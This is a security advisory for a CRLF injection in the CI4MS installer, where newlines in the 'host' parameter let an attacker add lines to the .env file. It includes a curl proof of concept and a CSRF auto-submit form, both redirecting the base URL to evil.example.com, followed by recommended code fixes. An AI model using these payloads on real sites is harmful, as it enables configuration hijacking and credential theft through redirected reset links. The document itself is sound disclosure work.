CVE-2026-39394: CI4MS Vulnerable to .env CRLF Injection via Unvalidated `host` Parameter in Install Controller
Summary The Install::index() controller reads the host POST parameter without any validation and passes it directly into updateEnvSettings(), which writes it into the .env file via pregreplace(). Because newline characters in the value are not stripped, an attacker can inject arbitrary configuration directives into the .env file.
Published Apr 8, 2026
Affected packages
ci4-cms-erp/ci4ms
- Ecosystem
- Composer (PHP)
- Affected
- <= 0.31.3.0
- Fixed in
- 0.31.4.0
- Check
composer show ci4-cms-erp/ci4ms
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The Install::index() controller reads the host POST parameter without any validation and passes it directly into updateEnvSettings(), which writes it into the .env file via preg_replace(). Because newline characters in the value are not stripped, an attacker can inject arbitrary configuration directives into the .env file. The install routes have CSRF protection explicitly disabled, and the InstallFilter can be bypassed when cache('settings') is empty (cache expiry or fresh deployment).
Details
In modules/Install/Controllers/Install.php, the $valData array (lines 13-27) defines validation rules for all POST parameters except host. The host value is read at line 35:
// line 32-41
$updates = [
'CI_ENVIRONMENT' => 'development',
'app.baseURL' => '\'' . $this->request->getPost('baseUrl') . '\'',
'database.default.hostname' => $this->request->getPost('host'), // NO VALIDATION
'database.default.database' => $this->request->getPost('dbname'),
// ...
];This value is passed to updateEnvSettings() (lines 89-101), which uses preg_replace with the raw value as the replacement string:
// line 94-98
foreach ($updates as $key => $value) {
$pattern = '/^' . preg_quote($key, '/') . '=.*/m';
$replacement = "{$key}={$value}";
if (preg_match($pattern, $contents)) $contents = preg_replace($pattern, $replacement, $contents);
else $contents .= PHP_EOL . $replacement;
}Since the env template has all lines commented out (e.g., # database.default.hostname = localhost), the pattern does not match, and the value is appended verbatim — including any embedded newline characters. This allows injection of arbitrary key=value pairs into .env.
The dbpassword field (line 17) is a secondary vector — its validation (permit_empty|max_length[255]) does not reject newline characters.
Access conditions:
- CSRF is explicitly disabled for install routes (
InstallConfig.php:7-9), confirmed consumed byFilters.php:220-231,246-251. InstallFilter(line 13) only blocks when both.envexists andcache('settings')is populated. The endpoint is accessible during fresh install or after cache expiry/clear.
Mitigation note: encryption.key injection is NOT exploitable because generateEncryptionKey() (line 70) runs after updateEnvSettings() and overwrites all encryption.key= lines with a cryptographically random value. However, all other .env settings remain injectable.
PoC
Scenario: Application is deployed but cache has expired (or fresh install window).
# Inject app.baseURL override and disable secure requests via host parameter
# The %0a represents a newline that creates new .env lines
curl -X POST 'http://target/install/' \
-d 'baseUrl=http://target/&dbname=ci4ms&dbusername=root&dbpassword=&dbdriver=MySQLi&dbpre=ci4ms_&dbport=3306&name=Admin&surname=User&username=admin&password=Password123&[email protected]&siteName=TestSite&host=localhost%0aapp.baseURL=http://evil.example.com/%0aapp.forceGlobalSecureRequests=false%0asession.driver=CodeIgniter\Session\Handlers\DatabaseHandler'Expected result: The .env file will contain:
database.default.hostname=localhost
app.baseURL=http://evil.example.com/
app.forceGlobalSecureRequests=false
session.driver=CodeIgniter\Session\Handlers\DatabaseHandlerThese injected lines override the legitimate app.baseURL set earlier (CI4's DotEnv processes top-to-bottom; later values win for putenv), redirect the application base URL to an attacker-controlled domain, and modify session handling.
CSRF exploitation variant (no direct access needed):
<!-- Hosted on attacker site, victim admin visits while cache is empty -->
<form id="f" method="POST" action="http://target/install/">
<input name="baseUrl" value="http://target/">
<input name="host" value="localhost app.baseURL='http://evil.example.com/'">
<!-- ... other required fields ... -->
</form>
<script>document.getElementById('f').submit();</script>Impact
An unauthenticated attacker can inject arbitrary configuration into the .env file when the install endpoint is accessible (fresh deployment or cache expiry). This enables:
- Application URL hijacking — injecting
app.baseURLto an attacker domain, causing password reset links, redirects, and asset loading to point to attacker infrastructure - Security downgrade — disabling
forceGlobalSecureRequests, CSP, or other security settings - Session manipulation — changing session driver or save path configuration
- Full application reconfiguration — the
copyEnvFile()method overwrites the existing.envwith the template before applying updates, destroying the current configuration (denial of service) - Database redirect — while not via the
hostinjection itself (the host value is a legitimate DB config), injecting additional database config lines can alter connection behavior
The attack is amplified by the absence of CSRF protection on the install endpoint, allowing exploitation via a malicious webpage visited by anyone on the same network.
Recommended Fix
- Add validation for the `host` parameter — reject newlines and restrict to valid hostnames/IPs:
// In $valData, add:
'host' => ['label' => lang('Install.databaseHost'), 'rules' => 'required|max_length[255]|regex_match[/^[a-zA-Z0-9._-]+$/]'],- Sanitize all values in `updateEnvSettings()` — strip newlines from replacement strings:
private function updateEnvSettings(array $updates)
{
$envPath = ROOTPATH . '.env';
if (!file_exists($envPath)) return ['error' => "'.env' file not found."];
$contents = file_get_contents($envPath);
foreach ($updates as $key => $value) {
$value = str_replace(["\r", "\n"], '', (string) $value); // Strip CRLF
$pattern = '/^' . preg_quote($key, '/') . '=.*/m';
$replacement = "{$key}={$value}";
if (preg_match($pattern, $contents)) $contents = preg_replace($pattern, $replacement, $contents);
else $contents .= PHP_EOL . $replacement;
}
file_put_contents($envPath, $contents);
return true;
}- Add newline validation to `dbpassword` — add
regex_match[/^[^\r\n]*$/]to the validation rules.
- Strengthen `InstallFilter` — consider checking for a more reliable installation-complete indicator than cache state (e.g., a database table existence check or a dedicated lock file).
Credited to offset.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Composer (PHP) vulnerabilities
All Composer (PHP) entriesCVE-2026-45138
CI4MS: Stored XSS in Blog Content via Broken `html_purify` Validation Rule
medium5.4May 18, 2026CVE-2026-45139
CI4MS Fileeditor allows deletion and rename of critical application files due to missing extension allowlist on destructive operations
medium6.5May 18, 2026CVE-2026-45270
CI4MS: Stored XSS in Pages Module Content via Broken html_purify Validation Rule
high8.7May 18, 2026CVE-2026-41890
CI4MS Vulnerable to Arbitrary Database Table Drop via Theme deleteProcess
medium6.9May 4, 2026CVE-2026-41891
CI4MS has a Deactivated User Session Bypass (active=0)
medium5.3May 4, 2026CVE-2026-41587
CI4MS has Unrestricted PHP File Upload via Theme Installation that Leads to Authenticated Remote Code Execution
high8.6Apr 29, 2026
